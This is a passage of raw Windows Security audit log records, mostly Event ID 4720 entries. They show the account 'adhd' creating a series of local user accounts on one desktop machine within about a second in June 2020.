Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1042</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Roger</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Roger - adhd - - - 4720 - 4291 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.9708653Z'/><EventRecordID>4291</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Bobby</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1041</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Bobby</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Bobby - adhd - - - 4720 - 4285 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.8846947Z'/><EventRecordID>4285</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Grace</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1040</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Grace</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Grace - adhd - - - 4720 - 4279 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.8016107Z'/><EventRecordID>4279</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Adam</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1039</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Adam</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Adam - adhd - - - 4720 - 4273 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.6970281Z'/><EventRecordID>4273</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Karen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1038</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Karen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Karen - adhd - - - 4720 - 4267 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.6235587Z'/><EventRecordID>4267</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Donald</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1037</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Donald</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Donald - adhd - - - 4720 - 4261 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.5309372Z'/><EventRecordID>4261</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Anthony</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1036</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Anthony</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Anthony - adhd - - - 4720 - 4255 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.4405131Z'/><EventRecordID>4255</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jean</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1035</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jean</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jean - adhd - - - 4720 - 4249 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.3414613Z'/><EventRecordID>4249</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Keith</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1034</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Keith</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Keith - adhd - - - 4720 - 4243 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.0018302Z'/><EventRecordID>4243</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ruth</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1033</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ruth</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ruth - adhd - - - 4720 - 4237 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.9184487Z'/><EventRecordID>4237</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Harold</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1032</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Harold</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Harold - adhd - - - 4720 - 4231 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.8085751Z'/><EventRecordID>4231</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jose</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1031</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jose</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jose - adhd - - - 4720 - 4225 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.7258133Z'/><EventRecordID>4225</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sara</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1030</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sara</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sara - adhd - - - 4720 - 4219 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.6284189Z'/><EventRecordID>4219</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Timothy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1029</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Timothy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Timothy - adhd - - - 4720 - 4213 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.5528707Z'/><EventRecordID>4213</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ashley</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1028</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ashley</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ashley - adhd - - - 4720 - 4207 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.4822311Z'/><EventRecordID>4207</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ronald</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1027</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ronald</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data 